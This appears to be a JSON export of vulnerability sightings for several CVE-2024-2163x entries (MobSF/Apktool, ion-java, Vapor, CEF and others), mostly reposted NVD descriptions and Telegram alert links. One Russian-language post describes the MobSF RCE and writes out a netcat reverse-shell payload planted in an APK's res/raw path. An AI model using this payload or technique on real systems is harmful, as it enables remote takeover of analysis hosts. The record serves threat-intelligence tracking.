{"vulnerability": "CVE-2024-2163", "sightings": [{"uuid": "3fe3fbdc-3d4a-40d4-a592-0e6055510e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "MISP/4e6047b9-f909-4642-a315-139d8662d0fe", "content": "", "creation_timestamp": "2024-10-24T14:06:44.000000Z"}, {"uuid": "5e751be9-6d36-44a0-aa60-3c864d608425", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "8e95a9f6-4936-4e58-935f-1b6ad7a9a8da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:00.000000Z"}, {"uuid": "046e6bad-5158-4a1e-a0ea-d4f6bd32e0c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "2b4dbd98-0aa7-4074-b7e1-163d2cc59537", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21635", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3m5sfoz7zhd2y", "content": "", "creation_timestamp": "2025-11-17T04:38:09.160857Z"}, {"uuid": "85c3bfa6-306a-405d-9df7-51bf0a909989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21635", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3m5lwpvzn4j2x", "content": "", "creation_timestamp": "2025-11-14T14:54:14.348112Z"}, {"uuid": "267bdcb3-4761-427e-a4af-3d6251fa4273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/orderofsixangles/2161", "content": "MobSF Remote code execution (via CVE-2024-21633)\n\nhttps://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2024-02-05T03:04:05.000000Z"}, {"uuid": "2f0be4e6-455e-47aa-b0a2-59c0c5ae49ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6387", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aMobSF Remote code execution (via CVE-2024-21633)\nURL\uff1ahttps://github.com/0x33c0unt/CVE-2024-21633\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-01-07T21:36:47.000000Z"}, {"uuid": "041b9a3f-0ffe-4241-8c61-8a5c75e715b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21634", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18539", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-21634\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: Amazon Ion is a Java implementation of the Ion data notation. Prior to version 1.10.5, a potential denial-of-service issue exists in\u00a0`ion-java`\u00a0for applications that use\u00a0`ion-java`\u00a0to deserialize Ion text encoded data, or deserialize Ion text or binary encoded data into the\u00a0`IonValue`\u00a0model and then invoke certain\u00a0`IonValue`\u00a0methods on that in-memory representation. An actor could craft Ion data that, when loaded by the affected application and/or processed using the\u00a0`IonValue`\u00a0model, results in a\u00a0`StackOverflowError`\u00a0originating from the\u00a0`ion-java`\u00a0library. The patch is included in `ion-java` 1.10.5. As a workaround, do not load data which originated from an untrusted source or that could have been tampered with.\n\ud83d\udccf Published: 2024-01-03T22:46:03.585Z\n\ud83d\udccf Modified: 2025-06-16T19:45:37.088Z\n\ud83d\udd17 References:\n1. https://github.com/amazon-ion/ion-java/security/advisories/GHSA-264p-99wq-f4j6", "creation_timestamp": "2025-06-16T20:37:27.000000Z"}, {"uuid": "875cae2e-562f-42fd-b8aa-8755c3d1e797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/poxek/3659", "content": "#CVE-2024-21633 - #MobSF Remote code execution (#RCE)\n\nMobSF - \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439: Android, Apple iOS \u0438 Windows Phone \u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437: \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Android. \n\n\u041f\u0435\u0440\u0435\u0441\u043e\u0431\u0440\u0430\u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 \u043d\u043e\u0447\u0438\u043d\u043a\u043e\u0439 \u0432 res/raw/jadx \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443\u0442\u0430\u043a\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f: \n\n\n#!/bin/bash\nnc host.docker.internal 9001 -e sh\n\n\u041c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b \u0441 \u0445\u043e\u0441\u0442\u0430 \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u0442\u043e\u0438\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440, \u0438\u0437-\u0437\u0430 \u0444\u0438\u0447\u0438 \u0441\u0430\u043c\u043e\u0433\u043e MobSF \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e \u043f\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u0443\u0442\u0438 ${decode target path}/res/   \n\nhttps://www.qu35t.pw/posts/2024-21633-mobsf-rce/\n\nhttps://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2024-02-05T15:29:15.000000Z"}, {"uuid": "fba942b3-7a65-470b-ac65-785cbc4362b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21634", "type": "seen", "source": "https://t.me/cibsecurity/74349", "content": "\u203c\ufe0fCVE-2024-21634\u203c\ufe0f\n\nAmazon Ion is a Java implementation of the Ion data notation. Prior to version 1.10.5, a potential denialofservice issue exists in\u00a0ionjava\u00a0for applications that use\u00a0ionjava\u00a0to deserialize Ion text encoded data, or deserialize Ion text or binary encoded data into the\u00a0IonValue\u00a0model and then invoke certain\u00a0IonValue\u00a0methods on that inmemory representation. An actor could craft Ion data that, when loaded by the affected application andor processed using the\u00a0IonValue\u00a0model, results in a\u00a0StackOverflowError\u00a0originating from the\u00a0ionjava\u00a0library. The patch is included in ionjava 1.10.5. As a workaround, do not load data which originated from an untrusted source or that could have been tampered with.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-04T01:38:18.000000Z"}, {"uuid": "5493de64-bb22-45ed-b0d1-dea1b9eae62a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "https://t.me/cibsecurity/74338", "content": "\u203c\ufe0fCVE-2024-21633\u203c\ufe0f\n\nApktool is a tool for reverse engineering Android APK files. In versions 2.9.1 and prior, Apktool infers resource files' output path according to their resource names which can be manipulated by attacker to place files at desired location on the system Apktool runs on. Affected environments are those in which an attacker may writeoverwrite any file that user has write access, and either user name is known or cwd is under user folder. Commit d348c43b24a9de350ff6e5bd610545a10c1fc712 contains a patch for this issue.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-04T01:37:23.000000Z"}, {"uuid": "96c8c00e-2f4e-4102-b909-540c833bbbe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21631", "type": "seen", "source": "https://t.me/cibsecurity/74337", "content": "\u203c\ufe0fCVE-2024-21631\u203c\ufe0f\n\nVapor is an HTTP web framework for Swift. Prior to version 4.90.0, Vapor's vaporurlparserparse function uses uint16t indexes when parsing a URI's components, which may cause integer overflows when parsing untrusted inputs. This vulnerability does not affect Vapor directly but could impact applications relying on the URI type for validating user input. The URI type is used in several places in Vapor. A developer may decide to use URI to represent a URL in their application especially if that URL is then passed to the HTTP Client and rely on its public properties and methods. However, URI may fail to properly parse a valid albeit abnormally long URL, due to string ranges being converted to 16bit integers. An attacker may use this behavior to trick the application into accepting a URL to an untrusted destination. By padding the port number with zeros, an attacker can cause an integer overflow to occur when the URL authority is parsed and, as a result, spoof the host. Version 4.90.0 contains a patch for this issue. As a workaround, validate user input before parsing as a URI or, if possible, use Foundation's URL and URLComponents utilities. \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-04T01:37:18.000000Z"}, {"uuid": "1a10beda-d859-4938-b913-1cae127119b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21636", "type": "seen", "source": "https://t.me/cibsecurity/74430", "content": "\u203c\ufe0fCVE-2024-21636\u203c\ufe0f\n\nviewcomponent is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. Versions prior to 3.9.0 have a crosssite scripting vulnerability that has the potential to impact anyone rendering a component directly from a controller with the viewcomponent gem. Note that only components that define a call method i.e. instead of using a sidecar template are affected. The return value of the call method is not sanitized and can include userdefined content. In addition, the return value of the outputpostamble methodis not sanitized, which can also lead to crosssite scripting issues. Versions 3.9.0 has been released and fully mitigates both the call and the outputpostamble vulnerabilities. As a workaround, sanitize the return value of call.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-05T01:35:14.000000Z"}, {"uuid": "5352f60a-b2b3-4150-bcee-d9cc762a74ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "https://t.me/arpsyndicate/2669", "content": "#ExploitObserverAlert\n\nCVE-2024-21633\n\nDESCRIPTION: Exploit Observer has 4 entries related to CVE-2024-21633. Apktool is a tool for reverse engineering Android APK files. In versions 2.9.1 and prior, Apktool infers resource files' output path according to their resource names which can be manipulated by attacker to place files at desired location on the system Apktool runs on. Affected environments are those in which an attacker may write/overwrite any file that user has write access, and either user name is known or cwd is under user folder. Commit d348c43b24a9de350ff6e5bd610545a10c1fc712 contains a patch for this issue.", "creation_timestamp": "2024-01-08T19:00:52.000000Z"}, {"uuid": "314a8536-6d64-4a7b-b420-c5f72728700f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21639", "type": "seen", "source": "https://t.me/arpsyndicate/2806", "content": "#ExploitObserverAlert\n\nCVE-2024-21639\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-21639. CEF (Chromium Embedded Framework ) is a simple framework for embedding Chromium-based browsers in other applications. `CefLayeredWindowUpdaterOSR::OnAllocatedSharedMemory` does not check the size of the shared memory, which leads to out-of-bounds read outside the sandbox. This vulnerability was patched in commit 1f55d2e.", "creation_timestamp": "2024-01-15T20:15:45.000000Z"}, {"uuid": "a7f4eedf-ec71-40d7-9951-b5fda9a57738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21632", "type": "seen", "source": "https://t.me/cibsecurity/74215", "content": "\u203c\ufe0fCVE-2024-21632\u203c\ufe0f\n\nomniauthmicrosoftgraph provides an Omniauth strategy for the Microsoft Graph API. Prior to versions 2.0.0, the implementation did not validate the legitimacy of the email attribute of the user nor did it givedocument an option to do so, making it susceptible to nOAuth misconfiguration in cases when the email is used as a trusted user identifier. This could lead to account takeover. Version 2.0.0 contains a fix for this issue. \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:38:27.000000Z"}, {"uuid": "2d940cbe-33a1-4326-aa16-815841c5a430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3815", "content": "#exploit\n1. CVE-2023-0461:\nLinux Kernel privilege escalation\nhttps://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs\n\n2. Apache ActiveMQ RCE\nhttps://y4er.com/posts/apache-activemq-rce\n\n3. CVE-2024-21633:\nMobSF RCE\nhttps://github.com/0x33c0unt/CVE-2024-21633", "creation_timestamp": "2024-01-08T10:32:17.000000Z"}, {"uuid": "1851ce29-7ef7-4e30-8cfe-a4da16ed926e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "published-proof-of-concept", "source": "Telegram/2JqSwOZZ56AOBDizYN37u67lVuYf8RxnXXxPQt05fvHAjjA", "content": "", "creation_timestamp": "2024-03-21T15:39:04.000000Z"}, {"uuid": "82b5b147-893d-422a-86a0-02fced2dac44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21634", "type": "seen", "source": "https://t.me/true_secator/5549", "content": "Atlassian \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Bamboo, Bitbucket, Confluence \u0438 Jira, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 Bamboo Data Center \u0438 Server, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-1597 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 10.\n\n\u041e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL \u0438 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430\u00a0\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044e\u044e \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c org.postgresql:postgresql \u0434\u043b\u044f Bamboo Data Center \u0438 Server.\n\n\u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e Atlassian, \u043e\u0448\u0438\u0431\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u044b \u0432 \u0441\u0440\u0435\u0434\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0447\u0442\u043e \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Bamboo Data Center \u0438 Server \u0432\u0435\u0440\u0441\u0438\u0439 8.2.1, 9.0.0, 9.1.0, 9.2.1, 9.3.0, 9.4.0 \u0438 9.5.0 \u0438 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c 9.6.0 ( LTS), 9.5.2, 9.4.4 \u0438 9.2.12 (LTS), \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a DoS.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-21634 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 7,5) \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442, DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 Bitbucket Data Center \u0438 Server.\n\nAtlassian \u0442\u0430\u043a\u0436\u0435 \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0435\u0439 \u0432 Confluence Data Center \u0438 Server \u0438 DoS-\u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0439 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430.\u00a0\u0412\u0435\u0440\u0441\u0438\u0438 Confluence 8.8.1, 8.5.7 LTS \u0438 7.19.20 LTS \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u043e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Jira Software Data Center \u0438 Server \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 20 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 16, \u0432\u0435\u0434\u0443\u0449\u0438\u0445 \u043a DoS, 3 - RCE \u0438 1 - SSRF.\n\n\u0414\u0435\u0444\u0435\u043a\u0442\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0435 \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 Jira Software Data Center \u0438 Server 9.14.1, 9.14.0, 9.12.5 LTS \u0438 9.4.18 LTS.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.", "creation_timestamp": "2024-03-21T15:35:05.000000Z"}, {"uuid": "6bc1d79c-d0ca-4476-ab1d-e8594596fd1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21630", "type": "seen", "source": "https://t.me/ctinow/187318", "content": "https://ift.tt/GwZNkua\nCVE-2024-21630 | Zulip 8.0 authorization (GHSA-87p9-wprh-7rm6)", "creation_timestamp": "2024-02-18T18:11:18.000000Z"}, {"uuid": "92a04499-70ca-469d-aa01-6597cd7cc6b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21639", "type": "seen", "source": "https://t.me/ctinow/178360", "content": "https://ift.tt/uCqwhWI\nCVE-2024-21639 | chromiumembedded cef Shared Memory Page OnAllocatedSharedMemory out-of-bounds (GHSA-m375-jw5x-x8mg)", "creation_timestamp": "2024-02-03T02:26:55.000000Z"}, {"uuid": "a4b2a3e9-ab78-4fa7-a4e3-ace68e3fff98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21637", "type": "seen", "source": "https://t.me/ctinow/175781", "content": "https://ift.tt/tXIlscO\nCVE-2024-21637 | authentik up to 2023.8.5/2023.10.5 OpenID Connect Flow cross site scripting (GHSA-rjpr-7w8c-gv3j)", "creation_timestamp": "2024-01-30T09:41:38.000000Z"}, {"uuid": "cf41e18a-aa36-4b75-beaa-3a33253bd928", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21632", "type": "seen", "source": "https://t.me/ctinow/171784", "content": "https://ift.tt/FJQfVkb\nCVE-2024-21632 | synth omniauth-microsoft_graph up to 1.x email improper authentication (GHSA-5g66-628f-7cvj)", "creation_timestamp": "2024-01-23T09:21:29.000000Z"}, {"uuid": "699359cd-0a67-4fea-9459-ee47823c9a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21638", "type": "seen", "source": "https://t.me/ctinow/175717", "content": "https://ift.tt/HOwQsJE\nCVE-2024-21638 | Azure ipam up to 2.x privileges management", "creation_timestamp": "2024-01-30T07:36:16.000000Z"}, {"uuid": "bb8cc059-fcac-451e-8da8-4da17fe280a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21630", "type": "seen", "source": "https://t.me/ctinow/173801", "content": "https://ift.tt/HvbY8PQ\nCVE-2024-21630", "creation_timestamp": "2024-01-25T21:26:43.000000Z"}, {"uuid": "28d95f24-36e4-4634-8532-8286918cfd2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21633", "type": "seen", "source": "https://t.me/ctinow/162527", "content": "https://ift.tt/5nqc63g\nCVE-2024-21633", "creation_timestamp": "2024-01-03T18:31:58.000000Z"}, {"uuid": "299f93a9-b760-4f23-9101-e8dacf06ee05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21631", "type": "seen", "source": "https://t.me/ctinow/162526", "content": "https://ift.tt/XYqSOjx\nCVE-2024-21631", "creation_timestamp": "2024-01-03T18:31:56.000000Z"}, {"uuid": "0a7a643b-fa3a-412f-9a42-f085931dc037", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21639", "type": "seen", "source": "https://t.me/ctinow/167604", "content": "https://ift.tt/GbaDzrC\nCVE-2024-21639", "creation_timestamp": 